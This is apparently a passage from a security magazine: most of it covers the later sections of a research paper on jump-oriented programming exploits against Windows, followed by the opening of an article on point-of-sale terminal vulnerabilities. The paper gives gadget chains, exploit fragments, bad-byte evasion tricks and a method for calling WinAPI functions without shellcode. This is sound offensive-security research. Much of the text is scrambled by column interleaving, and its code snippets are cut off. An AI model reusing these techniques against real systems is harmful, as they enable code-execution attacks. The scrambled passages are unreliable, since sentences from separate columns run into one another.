For JOP, it is recommended to set aside a section of memory to be used for the function parameters. This location should be writable and relatively close to the region of memory used pointed to by ESP. allowing for more convenient pivoting.

The stack pointer is used to determine which values are parameters at the time of the function call. With JOP, it may be possible to supply some function parameters directly in the payload. If parameters lack bad bytes and do not need to be generated programmatically via JOP, they can be put into the payload with no issues.
For other parameters that do contain bad bytes or otherwise cannot be included, we can supply dummy values in their stead. These placeholders will be overwritten with the real values via JOP. They serve as markers that will aid in the exploit development process.

The figure below shows values for VirtualProtect parameters included within a JOP exploit payload. Since the lpAddress, lpfOldProtect, and return address parameters do not require bad bytes, their final values are given directly. On the other hand, dwSize and flNewProtect will need bad bytes, so these locations have been supplied with dummy values that will later be overwritten.

VirtualProtect Parameters						
Value in Buffer	Description	Desired Value				
0x1818c0fa	Return Address	0x1818c0fa				
0x1818c0fa	lpAddress	0x1818c0fa				
0x70707070	dwSize (dummy)	0x0000500				
0x70707070	flNewProtect (dummy)	0x0000040				
0x1818c0dd	lpfOldProtect	0x1818c0dd				



### **Useful Functional Gadgets**

JOP presents the opportunity to use many direction. This pivot could be used after specialized gadgets, each designed to loading a function parameter value to than their ROP counterparts.

### Stack Pivots

Since the JOP control flow is disconnected from ESP, stack pivoting will often be used during JOP exploits to move ESP to useful positions. Stack-based instructions such as pop and push will be extremely helpful if not necessary during most JOP exploits, since pop allows for custom values to be loaded, and push can perform memory overwrites or help transfer values from register to register.

Pop instructions can also be used to stack pivot. Since pop increments ESP by four bytes, many pop gadgets can be chained together to move ESP in the positive

perform specific tasks. Many of these relocate ESP to a higher address, where an novel JOP gadgets are often very different overwrite can be performed using a push gadget. For example, a pop ebx; jmp ecx gadget could be repeated three times to perform a stack pivot of twelve bytes. Next, a push eax; jmp ecx gadget could be used to perform a push overwrite at the new location.

> Conversely, push instructions are much less useful as stack pivots. While it is true that they decrement ESP by four bytes, they are much more difficult to use effectively, as they will also overwrite the contents of the address ESP lands at.

> Figure 14 shows an example of this occurring when push ebx; jmp ecx gadgets are used to pivot ESP to a lower location in memory. The stack diagram shows that

after execution, each address pivoted to via push ebx is overwritten. Because of this, other types of instructions such as sub esp will be more suited for stack pivots in the negative direction.

			Stack (Bei	fore Pivot)		Stack (After Pivot)	
Address	Gadget		Address	Value		Address	Value
0x43da8822	mov ebx, 0; jmp ecx		0x0018fac0	0x11111111	ESP 🔶	0x0018fac0	0x0000000
0x62ad7355	push ebx; jmp ecx;		0x0018fac4	0x22222222		0x0018fac4	0x00000000
0x62ad7355	push ebx; jmp ecx;		0x0018fac8	0x33333333		0x0018fac8	0x0000000
0x62ad7355	push ebx; jmp ecx;	ESP 🔶	0x0018facc	0x4444444		0x0018facc	0x4444444



Powerful stack pivoting gadgets are those with operations such as mov esp, ebx or xor esp, eax. While gadgets similar to these are rare, they allow for stack pivots to arbitrary locations in memory as long as the other register can be controlled.

Additionally, gadgets such as xchg esp, ebx; jmp edi would be useful both for stack pivoting as well as dynamic generation of values. Since these types of instructions are not commonly created by most compilers, these gadgets may often be found via opcode splitting.

### **Overwrite Gadgets**

When constructing a WinAPI function subsequent overwrite will often be the call, bad bytes are often an obstacle JOP chain's main purpose. The availability to overcome. As such, dummy values of JOP gadgets is often limited, so different may need to be supplied for function and unusual gadgets may need to be used, parameters, and several overwrites may to complete this task; however, some occur need to occur. Performing the task of more often or are more straightforward to loading a function parameter into a register use than others. while avoiding bad bytes, followed by a

### PUSH

Push register instructions are relatively In JOP, it can be used to overwrite a value common in compiler-generated code and within memory. If push is used this way, a are only one opcode long. Because of stack pivot will need allow ESP to reach this, the chances that there exists a usable the location for the overwrite. Since push gadget with this instruction are higher than decrements ESP by four bytes before some other types of possible overwrite overwriting the value at the new address, gadgets. During normal x86 ISA, the ESP will need to be pivoted to the address push instruction is generally used to add four bytes above the desired location. to the stack with no consideration to that Additionally, another pivot will often be needed, to move ESP where custom values memory's previous value. can be added via pop.

Address	Gadget
0x4050b7c8	pop ecx; pop edx; jmp ebx
0x4050b7d8	xor ecx, edx; jmp ebx;
0x4050eaf0	add esp, 0xc; jmp ebx;
0x40500b50	push ecx; jmp ebx;

Figure 15. Small JOP chain showing a dummy variable overwrite using the push instruction.

When a push register gadget is used, the register first needs to be loaded with the appropriate value for the overwrite. Whether the overwrite is used to avoid bad bytes or to dynamically generate a value, a short series of gadgets will likely be needed to load the value. In the figure shown, a push ecx gadget is used to overwrite a dummy variable with 0x40.

First, the pop ecx; pop edx; jmp ebx gadget is used to pop the encoded value into ECX and an XOR key into EDX. ECX is XORed with EDX to produce the result; then a pivot occurs that relocates ESP to the location four bytes above the appropriate dummy variable's address. Next, push ecx; jmp ebx; overwrites the dummy variable with 0x40, the real value.

A generalized approach can be defined when repetitively performing push overwrites for each dummy variable. The stack must be laid out in a similar manner to that seen in the figure. Each encoded parameter and its corresponding dummy variable are located the same distance from each other.



Figure 16. Example of a repeatable series of gadgets used to perform overwrites with the push instruction.

For example, the distance between the first encoded parameter and dummy variable is 0xC bytes, which is the same as the distance between the second encoded parameter and dummy variable. The encoded parameter should be loaded into a register via the use of a gadget such as MOV DWORD PTR pop eax; jmp edx. The pop eax instruction will add four bytes to the stack.

Next. the encoded parameter can be decoded via the use of an XOR gadget or similar means. A pivot can then be used to move ESP four bytes above the dummy variable to be overwritten. In this example, after pop eax; jmp edx a pivot distance of 0xC bytes will be needed to move ESP to the correct location. A push eax gadget then can be used to overwrite the dummy variable.

Lastly, a pivot to move ESP eight bytes in the negative direction can be used to prepare for the next encoded parameter to be popped. Since the distances between each encoded parameter and dummy variable are the same, the same distances for each pivot can be used for each overwrite.

This series of gadgets can be used indefinitely for overwrites unless the decoding process for certain parameters requires unique steps. The only parts that must be changed are the values supplied for each pop gadget.

While push gadgets are relatively straightforward, they require the use of stack pivots to ensure pushes can be made to the correct location. Pop gadgets are often available to stack pivot forwards; however, returning the stack pointer to a location where values can be popped for further overwrites may be more difficult.

While less commonly found, gadgets of the form mov dword ptr[register], register can also perform overwrites of dummy variables. These are simpler to use, with no need pivoting. These gadgets will require the use of two registers simultaneously: the register being dereferenced should be loaded with the write address, and the second register should be loaded with the value that will be written.

This need for multiple registers may become a concern in JOP, since the two dispatch registers are already reserved. This lowers the chances that a mov dword ptr gadget will use registers that are available and not reserved for control flow purposes. Side effects from other gadgets that are needed to load register values also become more problematic once additional registers need to be preserved.

Address	Gadget
0x4050c7c8	pop esi; jmp eax;
0x4050c7d8	pop edi; jmp eax;
0x4050daf0	neg edi; xor ebx, ebx; jmp eax;
0x40500f50	mov dword ptr [esi], edi; jmp eax;

The JOP chain snippet above shows an example of an overwrite performed using mov dword ptr [esi], edi. In this example, the address being written to does not contain any bad bytes, so the value can be popped directly into ESI without any issues.

However, EDI will be used to store the parameter value being written, which contains null bytes. The value cannot be supplied directly in the payload, so the neg edi

Figure 17. Small JOP chain showing a dummy variable overwrite using the mov dword ptr instruction.

instruction is used to avoid bad bytes by acting on an encoded value loaded via pop edi. Once the values are loaded, mov dword ptr [esi],edi will overwrite the address at ESI with the contents of EDI.

The gadget containing neg edi also has an unwanted side effect that can be seen in the xor ebx, ebx instruction. Each time this gadget executes, the contents of EBX will be reverted to zero. As long as EBX is not a register important to the control flow of the JOP chain, this gadget will work.

However, if the JOP chain used a dispatcher such as add ebx,4; jmp dword ptr [ebx], the register containing the dispatch table's address would be ruined upon its execution. In the figure below, a two-gadget dispatcher is shown alongside the mov dword ptr gadget.

Between these two gadgets, few registers remain available. EAX, ECX, and EBP are reserved as dispatch registers. ESI and EDI are used in the mov dword ptr gadget, and ESP is the stack pointer. The only registers that can be freely used at this point are EBX and EDX.

Two-Gadget Dispatcher			Overwrite Gadget		
Address	Gadget		Address	Gadget	
0x33db2c80	add ebp, 0x4; jmp ecx;		0x40500f50	mov dword ptr [esi], edi; jmp eax;	
0xea401738	imp dword ptr [ebp];				

Figure 18. With two-gadget dispatchers, available registers can be scarce while performing certain tasks.

### Avoiding Bad Bytes with JOP Gadgets

In many cases, values that must be loaded into registers will contain bytes that are not able to be included within the payload. When this occurs, the value cannot be loaded directly with a gadget such as pop eax; jmp edx and a corresponding value contained within the payload. Values that may be needed that could have this issue include the address of the dispatch table, the address of the dispatcher gadget, and specific values that must be used for WinAPI function parameters.

Address	Gadget	Sta	ack
0xdeadc0de	pop eax; pop ebx; jmp ecx # Load EAX and XOR key	Address	Value
Oveloo de 1 de		0x11223340	0x55555515
0xdeadc1de	xor eax, ebx; jmp ecx; # XOR results in 0x40	0x11223344	0x55555555

Figure 19. JOP Chain snippet showing the use of XOR to avoid bad bytes.

Figure 19 shows two XOR gadgets can be helpful in situations like this. First pop eax; pop ebx is performed, followed by xor eax, ebx. To avoid a bad byte, the EBX register will be used as an XOR key. This key can contain any value that does not include bad bytes. Next, the desired value can be XORed with the XOR key. The result will be the value that should be loaded into EAX. Once the second gadget executes and EAX is XORed with the key, the resulting value of EAX will be the final value with bad bytes.

This type of sequence is useful as it allows for an arbitrary value to be reached with flexibility as to the bytes used within the payload. Other versions of this sequence may exist, where certain pop instructions may not exist that correspond to one of the registers involved in the XOR operation, requiring additional setup.

If there is a pop eax gadget available, a gadget such as mov eax, 0x1111111; jmp ecx could be used to ensure that 0x1111111 is loaded into EAX before an XOR operation. This way, the desired value can still be reached by choosing the appropriate XOR key. The specific value that is loaded into EAX with the mov instruction is not significant, as long as it can be XORed to a useful value.

The downside to this method is that the XOR key cannot be chosen, and the encoded final value may contain bad bytes. If this is the case, that particular XOR key will need to be replaced or used to decode a different value.

table	+=	<pre>struct.pack('<l',< pre=""></l',<></pre>	0x11	2212a6)	#MOV	ECX, e
table	+=	tablePad				
table	+=	<pre>struct.pack('<l',< pre=""></l',<></pre>	0x11	221289)	#P0P	EAX #
stackC	hai	in += struct.pack('	<l',< td=""><td>0x054a</td><td>5e90)</td><td>#xor'</td></l',<>	0x054a	5e90)	#xor'
table	+=	tablePad				
table	+=	<pre>struct.pack('<l',< pre=""></l',<></pre>	0x11	22141c)	<mark># XO</mark> I	R ECX,
table	+=	tablePad				
table	+=	<pre>struct.pack('<l',< pre=""></l',<></pre>	0x11	2212a6)	# MO	V ECX,
table	+=	tablePad				
table	+=	<pre>struct.pack('<l',< pre=""></l',<></pre>	0x11	221289)	# P01	P EAX
stackC	hai	in += struct.pack('	<l',< td=""><td>0x0552a</td><td>a050)</td><td># xor</td></l',<>	0x0552a	a050)	# xor
table	+=	tablePad				
table	+=	<pre>struct.pack('<l',< pre=""></l',<></pre>	0x11	2212b7)	<mark># XOI</mark>	R ECX,
table	+=	tablePad				
table	+=	<pre>struct.pack('<l',< pre=""></l',<></pre>	0x11	221480)#	# <mark>MOV</mark>	[EBX]

Figure 20. JOP chain snippet that avoids bad bytes while performing a mov dword ptr overwrite.

An excerpt of a JOP exploit shows the method of using two XORs to avoid bad bytes. These are used to set up register values for a dummy variable overwrite via the instruction mov dword ptr [ebx],ecx.

First, the mov ecx, 0x552a200 instruction loads an XOR key into ECX. Afterwards, the encoded value for the overwrite address is popped into EAX. The value is decoded using the gadget xor ecx, eax; mov ebx,ecx; jmp edx, which also moves this overwrite address value into EBX. The first two gadgets are repeated again, in order to load the XOR key and encoded parameter value for dwSize.

```
0x0552A200 # MOV EBP,0x40204040 # JMP EDX

# JMP EDX

'd to 0x0018fc90 - write addr for dwSize

(,EAX # MOV EBX,ECX # JMP EDX

(,0x0552A200 # MOV EBP,0x40204040 # JMP EDX

(, # JMP EDX

or'd to 0x250 - dwsize value

(,EAX # MOV EBP,ECX # JMP EDX
```

,ECX # JMP EDX # write dwSize param = 0x250

is used to decode the parameter value. value to load into EAX. After popping this This gadget is slightly different from the value into EAX, add eax, 0x60 triggers previous XOR gadget, as it loads EBP with an integer overflow that results in EAX ECX's value, leaving EBX intact. Now that containing the desired value. There are the overwrite address is contained within many additional methods available aside EBX and the parameter value is in EBX, the mov [ebx],ecx; jmp edx gadget performs the overwrite.

There are several other ways to address bad bytes with bitwise or mathematical operations. A series of gadgets such as pop eax; jmp esi followed by neg eax; jmp edi gadget could be used to supply the negated version of the problematic bytes, rather than the raw value. The negated value is first loaded into EAX via pop eax. The two's complement negation is equivalent to adding 1 to a NOT operation.

If the desired final value is 0x40, the correct value to pop into eax is 0xfffffc0, since this value is equivalent to adding 1 to the result of not 0x00000040. After neg eax executes, EAX will contain the desired value.

Address	Gadget
0x11224070	POP EAX; JMP ECX # Load 0xFFFFFE0 into EAX
0x11224A1F	ADD EAX, 0x60; JMP ECX # Overflow results in 0x00000040

Figure 21. Using an integer overflow to load a small value with the ADD instruction.

In other cases, add or sub could be used in place of xor to achieve similar results. Integer overflows or underflows also can be used to obtain results that otherwise seem impossible, such as adding two larger numbers together to result in a smaller value with null bytes. For example, the figure above shows an add eax, 0x60 instruction being used to load a value smaller than 0x60 into EAX. First. 0x60 should be subtracted from the desired

Then xor ecx, eax; mov ebp,ecx; jmp edx value using two's complement to find the from those discussed.

### Gadget Addresses Containing Bad **Bytes**

In some instances, traditional methods of combatting bad bytes may prove problematic, for various reasons. For example, the useful gadget popad; jmp ecx may be located at the address 0x00112233. However, with some effort these gadgets can still be utilized. Since it is not possible to alter addresses within the payload to fix the bad byte issue, additional gadgets will need to be used to prepare the bad byte gadget for use.

First techniques specified in the previous section can be used to load the gadget's address into a register. Once the register is loaded with the correct address, a simple imp register gadget can be used to transfer execution to the gadget containing bad bytes. Although the gadget will not be included in the dispatch table or payload in general, it will still be executed at this point in the exploit.

Address	Gadget
0x8238ad8a	pop eax; jmp ecx; # load 0x62222233 into ecx
0x8238a652	sub eax, 0x62110000; jmp ecx; # eax = 0x00112233
0x8238abbb	jmp eax; # jmp to 0x00112233

Figure 22. JOP chain designed to execute a gadget at 0x00112233.

The figure above shows part of a JOP chain that can load the value into EAX. A sub eax instruction is used to avoid bad bytes. To determine the correct value to

load with the pop eax instruction, the 0x62110000 constant is added to the bad byte gadget's address. Once the sub eax, 0x62110000 loads the address into EAX, a jmp eax instruction is used to execute the gadget containing bad bytes.

While this method requires additional effort, it also allows a new subset of gadgets to be used. JOP gadgets are relatively scarce when compared to ROP gadgets, and JOP's nature may further restrict certain gadgets from being used.

As such, it is important to maximize possibilities as certain gadgets may be necessary for an exploit to work and may not have alternatives. Since gadgets may come from other modules that are loaded at different memory locations, situations may occur where every gadget found within a certain module may be unusable without this technique.

### **Dereferencing Function Pointers**

To perform a WinAPI function call, the JOP chain will need to jump to the address of the function. However, since ASLR will likely be enabled for the DLL containing the function, hardcoding a function address into the exploit is not viable.

Instead, a pointer to the relevant function address must be found within the binary. Pointers to VirtualProtect and VirtualAlloc can be found within binaries by using JOP ROCKET. Once the pointer is loaded into a register, it will need to be dereferenced to transfer execution to the address of the function.

There are many possible gadgets available to achieve this goal. One simple method is jmp dword ptr [eax], where the dereference and jump happens simultaneously. When such a gadget is not available, a gadget such as mov ecx, dword ptr [eax]; imp edi could be used after loading EAX with the pointer. This places the function's true address into ECX, allowing a jmp ecx gadget to execute the function. Alternatively, the dereferenced address could be pushed onto the stack with push ecx.

Next, a jmp dword ptr[esp] gadget could dereference ESP, jumping to the WinAPI function. When using jmp dword ptr [esp] to jump to a function address, the address must be in memory at the stack pointer's location. Normally this address would contain the desired return address when calling a function; however, this is not possible in this situation.

As a result of the return address parameter containing the function address, the function will call itself again once it is done executing. At this point, all the original function parameters will be popped off of the stack and ESP will be located at the next address.

0018FC88	7682432F	/C,v	CALL to VirtualProtect
0018FC8C	0018FCA0	üţ.	Address = 0018FCA0
0018FC90	00000250	Ρη	Size = 250 (592.)
0018FC94	00000040	e	NewProtect = PAGE_EXECUT
0018FC98	11242150	P!\$∢	LpOldProtect = vulnCrac.1
0018FC9C	11111111	4444	

Figure 23. Parameters for VirtualProtect resulting from a jmp dword ptr [esp] instruction being used to call the function.



An example of this situation can be seen in the figure, which shows the parameters used for the first execution of the function. After the function completes and is called again via its return address, the second set of parameters will begin at 0x0018fc9c. In some cases, such as with VirtualProtect, it may be possible to set up a harmless second function call that uses the correct return address; in this example we will simply have another VirtualProtect call, serving no purpose.

By setting the return address used for the second function call, a final return address can be specified even though the jmp dword ptr [esp] method did not allow for the first function's return address to be specified. Even if the second function call does not perform any actions successfully, it will likely still jump to the return address at the end of its execution.

### Generating Addresses of Other Functions

Once dereferenced, a function's address possibly can be used to locate the address of another function contained within the same DLL. A tool such as IDA Disassembler can be used to calculate the offset between the address of the function whose pointer can be obtained. As shown in the figures below, the function address indicated by the pointer should be inspected within a debugger to ensure the version of the function being used is known.

0:000> dd	0x1123b11	lc			0:000> u 76ab432f		
1123b11c	76ab432f	00000000	1122486e	00000000	kernel32!VirtualProtect	Stub:	
1123b12c	11222ddb	00000000	00000000	11222d38	76ab432f 8bff	mov	edi,edi

Figure 24. Dereferencing the function pointer in WinDbg and then inspecting the disassembly at the function address.

Once the function name has been verified, its address can be found in IDA. From the figure below, VirtualProtectStub's address is 0x7dd7432f. This address can then be used to calculate an offset to another function. For example, the virtual address of the CreateProcessA function can be found within IDA. Afterwards, the distance between the two functions can be calculated as -0x32bd bytes.

00000007DD71072 ; Exported entry 167. CreateProcessA	00000007DD7432F ; Exported entry 1267. VirtualProtect
00000007DD71072	00000007DD7432F
00000007DD71072	00000007DD7432F
00000007DD71072 ; Attributes: bp-based frame	00000007DD7432F ; Attributes: bp-based frame

Figure 25. The function's virtual address can be found using IDA. With this knowledge, offsets to other functions can be found.

This information can be used within a JOP exploit to call a function lacking a pointer in the image executable. After dereferencing the pointer, JOP can be used to add or subtract the offset from the original function's address to find the address of another function.

This technique will depend on operating system or specific release, as virtual addresses of functions within DLLs may change, as additional functions may be added.

### 0:000> u kernel32!virtualprotectstub - 0x32bd kernel32!CreateProcessA: 76821072 8bff edi,edi mov

Figure 26. Using WinDbg to verify that the offset leads to the correct function.

### Dereferences with an Offset

Many useful gadgets contain dereferencing instructions. While instructions such as jmp dword ptr [eax], mov dword ptr [eax], eax, and xor eax, dword ptr [eax] may all be used for different purposes during JOP, they all still perform dereferences. In practice, many instructions may perform dereferences that are based on hardcoded offsets from registers instead of the raw register values. When these instructions are encountered, they can often still be used without the use of any additional gadgets.

Address	Gadget					
0x5de7a5ca	pop esi; jmp eax; # pop overwrite address - 0x80					
0x5de7a510	pop edi; jmp eax; # pop overwrite value					
0x5de7a6cc	mov dword ptr [esi + 0x80], edi; jmp eax;					

Figure 27. This JOP chain snippet uses a mov dword ptr gadget that contains an offset.

For example, in the figure above a mov dword ptr [esi + 0x80] instruction is being used to perform a memory overwrite. In order to write to the correct address, the 0x80 value can be subtracted from the desired address to find the value that should be loaded into ESI.

In some cases, inclusion of an offset may introduce the problem of bad bytes into a section of a JOP chain. In Figure 28 the mov eax, dword ptr[eax + 0x4] instruction is being used to dereference the address 0x11227004. In order to account for the offset, the value 0x11227000 could be popped into EAX; however, this value ends in the byte \x00, which is a bad byte in many exploits. Instead of using the modified value, the original value 0x11227004 is popped into EAX. Next, the value is modified using several dec eax gadgets to account for the offset.

Address	Gadget
0x1307fa3e	pop eax; jmp edx; # load 0x11227004 into EAX
0x13081234	dec eax; jmp edx; # EAX = 0x11227003
0x13081234	dec eax; jmp edx; # EAX = 0x11227002
0x13081234	dec eax; jmp edx; # EAX = 0x11227001
0x13081234	dec eax; jmp edx; # EAX = 0x11227000
0x1308128a	mov eax, dword ptr[eax + 0x4]; jmp edx # dereference

Figure 28. This JOP chain snippet cannot supply the value needed for the dereferenced offset. Instead, additional gadgets must be used to avoid bad bytes.



This may limit this technique's portability. If the exploit can detect the operating system it is run on, it maybepossibletoprogrammatically choose the correct offset to use.

Gad	get

EAX

### JOP NOPS AND DISPATCH TABLES

In ROP exploits, the idea of a ROP NOP refers to a gadget consisting of nothing but the ret instruction, which directs execution to the next ROP gadget without performing any other actions. JOP exploits have an equivalent type of gadget, which are referred to as JOP NOPs. These gadgets do nothing except pass execution back to the dispatcher gadget.

A gadget such as jmp ebx could be considered a JOP NOP, as long as EBX contains the address of the dispatcher gadget. These gadgets may find a use when the exact address of the dispatch table is not known. When this situation occurs, many instances of a JOP NOP gadget can be supplied around the predicted location, and the dispatch table can be supplied at the end of this series of gadgets.

Then, the exploit can then guess the location of the dispatch table. If the guessed address is located at the address of a JOP NOP, many will be executed until the dispatch table is eventually reached. This technique is similar to NOP slides, which are commonly found before shellcode.

The figure below shows an example of a JOP NOP slide being used. Although the address of the dispatch table is guessed incorrectly, the series of JOP NOPs brings execution to the dispatch table without error.





It should be taken into consideration that alignment can become an issue when utilizing JOP NOPs. It is possible that the guessed dispatch table address could be misaligned with the address to the JOP NOP, likely causing an access violation.

For example, if the JOP NOP address is 0x11223344 and the guessed dispatch table address is misaligned by one byte, the dispatcher would attempt to execute at the address 0x22334411. Because of this issue, there may only be a one in four chance of guessing a correctly aligned value in some situations.

Additionally, when a dispatcher gadget requires padding between gadget addresses, the JOP NOP slide could enter the dispatch table at a location other than the first gadget address. It may be possible to alleviate this issue by using the address of the previous

gadget as padding until the next gadget, as shown in the figure below. With this technique, multiple dispatch table entry points could become valid.



Figure 30. When the dispatcher gadget modifies its register by more than four bytes, specialized padding may become useful. Here, entering the dispatch table at 0x0018fac8 or 0x0018facc gives the same result.

Another approach that could be taken could be to use and esp to ensure the stack was aligned on multiples of four, and to attempt to ensure that the dispatch table began at an address that was a multiple of four.

Since the chance that this technique will work is not guaranteed, it may be necessary for an exploit to run multiple times before a JOP NOP slide is successful, if addressing stack alignment is either not feasible or proves ineffective. This technique still drastically improves the probability an exploit with an unknown dispatch table address may work, assuming an attacker can occupy an expanse of memory.

### SHELLCODE-LESS JOP

This research makes a novel contribution by presenting shellcode-less JOP. This more<br/>demanding approach can result in an effective JOP chain that avoids the need for certain<br/>commonly used functions to bypass DEP,<br/>e.g. VirtualAlloc and VirtualProtect. Instead,<br/>the WinAPI functions that the shellcode<br/>would have called could be called directly<br/>by JOP.

	. (
Payload	(
JOP Chain for Function Parameters	t
JOP Chain for Stack Pivot	١
Function 1 Pointer	I
Function 1 Return Address (address of Function 2)	
Function 1 Parameter	
Function 1 Parameter	1
Function 2 Return Address (address of Function 3)	1
Function 2 Parameter	ć
Function 1 Parameter	
Function 3 Return Address (address of Function 4)	
Function 3 Parameter	1
Function 3 Parameter	I
	•

Figure 31. Example payload for a shellcode-less attack.

	Dis	patch Table	
s	Value	Gadget	
ас0	0x4213a871	jmp esi; # JOP NOP	
ac4	0x42138777	pop edx; jmp esi; # $1^{st}$ gadget OR padding	
ac8	0x42138777	pop edx; jmp esi; # 1 <sup>st</sup> gadget OR padding	
асс	0x42138522	pop edi; jmp esi; # 2 <sup>nd</sup> gadget OR padding	
ad0	0x42138522	pop edi; jmp esi; # 2 <sup>nd</sup> gadget OR padding	

Shellcode need not be the only delivery method available for an attack. By chaining together multiple function calls, malicious actions can be performed without bypassing DEP or executing shellcode. This technique has been used with ROP to create a new administrator user on a machine without shellcode [18].

Since this technique will require many function parameters, payload size restrictions may become a concern, if bad

bytes are an issue. It is recommended not each function at the same time, such as to use this technique, unless there is a large if a parameter for one function depends amount of space available for the payload on a value that another function wrote to or bad bytes are not an issue.

The method described in the 4.2 Addresses with Bad Bytes Used for Stack Pivoting can be used, although it is possible to do so in a more manual way, pushing each value dispatcher gadget instead. If registers for onto the stack at a time.

WinAPI function calls can be executed in succession via a few different techniques. The most practical method to execute one function after another will be to set up the parameters for each function, specifying each return address as the address of the next function. Calling the first function will cause each function to execute in order. The general layout of this type of payload can be seen in the payload figure.

First, a JOP chain will set up the parameters for each function that is called. This step may not be necessary if bad bytes are not a concern, and no values need to be programmatically generated via JOP.

The next step is a series of stack pivots to the correct location for the first function. Once the stack pivot moves ESP to the correct location, the function can be called. Each function will execute, performing its specifies the address of the next function, the end of the first function's execution will lead directly to the execution of the second function, and so on. No JOP is necessary the next.

In other cases, it may be desirable to return to JOP after each function completes. This technique may be used when it is not possible to set up the parameters for

memory.

Instead of specifying the next function as the return address each time, it may be possible to specify the address of the the dispatch table and dispatcher gadget are not preserved, it may be necessary to utilize one or more setup gadgets via ROP to load these values into the relevant registers before giving execution back to the dispatcher.

The functions that are utilized can vary depending on the task and complexity of the attack. Some functions require few parameters, and some may require many; the types of parameters supplied will also vary. Although some WinAPI functions require raw values for their parameters, many will require pointers to strings or specific structures.

It will be important to know the address these items will be located at, as this address must be given as a function parameter. The payload needs to be built in such a way that these may be easily found in memory and called upon.

designated task. Since each return address Again, the caveat is that if there are bad characters, they may need to be addressed. Given that strings and structures are merely bytes in memory, we can extrapolate and determine programmatically where to transfer execution from one function to each is, allowing for pointers to strings or structures to be called. Strings are often straightforward to construct; however, documentation for structures should be examined to determine the correct format. If a structure is formatted incorrectly, the WinAPI call will likely fail.

### FINAL REMARKS

While much has been written about ROP, that when JOP is possible, not only is there very little of actual practical value has been a useful tool to address all aspects of JOP, written about JOP, as most of it is theoretical but equally importantly, there now exists and confined to the academic literature. the practical knowledgebase to be able This research has worked to make JOP to actually construct a JOP exploit, while both more feasible and accessible. To that at the same time dealing with many of the end, this has been achieved by developing numerous obstacles that may arise during a powerful tool, dedicated to every aspect exploitation. of JOP.

We have made an extensive study of every exploit, but when the appropriate the fundamental nature of JOP itself, discovering and creating many techniques excellent alternative. for practical JOP usage, much of which has never been previously documented.

In fact, with this research, we have gone and extended what is even possible with JOP, with JOP chain automation and by greatly expanding what is possible with the dispatcher gadget, with variant forms of the dispatcher and by introducing the two-gadget dispatcher.

It is possible to do a JOP exploit entirely without the use of a single ret, assuming the binary is of sufficient size and with suitable gadgets. To be successful necessitates that some form of the dispatcher can be found, and while we have expanded what can be acceptable as a dispatcher, there will be times when there is no viable dispatcher. In those cases, JOP can still be of immense value to the exploit author, as JOP gadgets can be used to expand the attack surface for ROP, by allowing intermixing of JOP and ROP.

This research in no way endeavors to make a claim that JOP is superior to ROP as a code-reuse attack; it is merely a more unorthodox alternative, requiring additional set up. The end result of this research is

Certainly, JOP will not always be viable with gadgets are there in place, JOP may be an

### **Our Contributions**

This paper makes several important contributions. First, we present JOP ROCKET, the JOP gadget discovery and classification tool. This research presents a novel contribution for automatic construction of a JOP chain to bypass DEP. In addition, we present our novel dispatchers, including the highly innovative two-gadget dispatcher. This innovation can greatly expand possible dispatcher gadgets, whereas the single-gadget dispatcher is limited due to scarcity.

Next, we introduced the concept of shellcode-less JOP, an approach to JOP where instead of trying to bypass DEP to set up shellcode to be executed, we directly call the same WinAPI for the same functionality. Finally, this paper introduces several innovative manual techniques for the practical usage of JOP in a modern Windows environment.

### References

- 1. Shacham, H.: The geometry of innocent flesh on the bone: Return-into-libc without function calls (on the x86). Proc. ACM Conf. Comput. Commun. Secur. 552–561 (2007). https://doi.org/10.1145/1315245.1315313
- 2. Specter: Sony Playstation 4 (PS4) 5.05 BPF Double Free Kernel Exploit Writeup, https://www.exploit-db.com/exploits/45045
- 3. M00nbsd: CVE-2020-7460: FreeBSD Kernel Privilege Escalation, https://www. zerodayinitiative.com/blog/2020/9/1/cve-2020-7460-freebsd-kernel-privilegeescalation
- 4. m00nbsd: PoC/CVE-2020-7460/, https://github.com/thezdi/PoC/tree/master/CVE-2020-7460
- Chen, P., Xing, X., Mao, B., Xie, L., Shen, X., Yin, X.: Automatic construction of jumporiented programming shellcode (on the x86). In: Proceedings of the 6th ACM Symposium on Information, Computer and Communications Security. pp. 20–29 (2011)
- 6. Brizendine, B., Stroschein, J.: A JOP Gadget Discovery and Analysis Tool. S. D. Law Rev. 65, (2020)
- 7. Brizendine, B.J.: Advanced Code-reuse Attacks : A Novel Framework for JOP, (2019)
- 8. Brizendine, B.: JOP ROCKET repository, https://github.com/Bw3ll/JOP\_ROCKET/
- Checkoway, S., Davi, L., Dmitrienko, A., Sadeghi, A.R., Shacham, H., Winandy, M.: Return-oriented programming without returns. Proc. ACM Conf. Comput. Commun. Secur. 559–572 (2010). https://doi.org/10.1145/1866307.1866370
- Bletsch, T., Jiang, X., Freeh, V.W.: Proceedings of the 6th International Symposium on Information, Computer and Communications Security, ASIACCS 2011. Proc. 6th Int. Symp. Information, Comput. Commun. Secur. ASIACCS 2011. (2011)
- 11. Sadeghi, A., Niksefat, S., Rostamipour, M.: Pure-Call Oriented Programming (PCOP): chaining the gadgets using call instructions. J. Comput. Virol. Hacking Tech. 14, 139–156 (2018)
- 12. Van Eeckhoutte, P.: Corelan Repository for mona.py, https://github.com/corelan/mona
- 13. Salwan, J.: ROPgadget, https://github.com/JonathanSalwan/ROPgadget
- 14. Schirra, S.: Ropper, https://github.com/sashs/Ropper
- 15. Checkoway, S., Shacham, H.: Escape from return-oriented programming: Returnoriented programming without returns (on the x86). Rep. CS2010-0954, US San Diego. 1–18 (2010)
- Fraser, O.L., Zincir-Heywood, N., Heywood, M., Jacobs, J.T.: Return-oriented programme evolution with ROPER: a proof of concept. In: Proceedings of the Genetic and Evolutionary Computation Conference Companion. pp. 1447–1454 (2017)
- 17. Hevner, A.R., March, S.T., Park, J., Ram, S.: Design science in information systems research. MIS Q. 75–105 (2004)
- 18. Cooke, B.: CloudMe 1.11.2 Buffer Overflow ROP (DEP,ASLR), https://www.exploit-db. com/exploits/48840



## Vulnerabilities within Ingenico Telium 2, Verifone VX, and MX series Point of Sales terminals

Aleksei Stennikov and Timur Yunusov

HITBMag | June 2021

### Abstract

Over 2018 and 2019, we found serious vulnerabilities in the two biggest Point of Sales (PoS) vendors: Verifone and Ingenico. The affected devices are Verifone VX520, Verifone MX series, and the Ingenico Telium 2 series PoS terminals. First, we were able to extract the firmware from the devices. Then we were able to use manufacturer's default or hardcoded passwords to enter configuration "service modes." From there, we were able to exploit vulnerabilities within the terminal's applications to execute our own arbitrary code. With these vulnerabilities, an attacker could alter payment transaction details, clone payment cards, clone PoS terminals, and install persistent malware.

### Terms and their meanings

### Sending of arbitrary packets

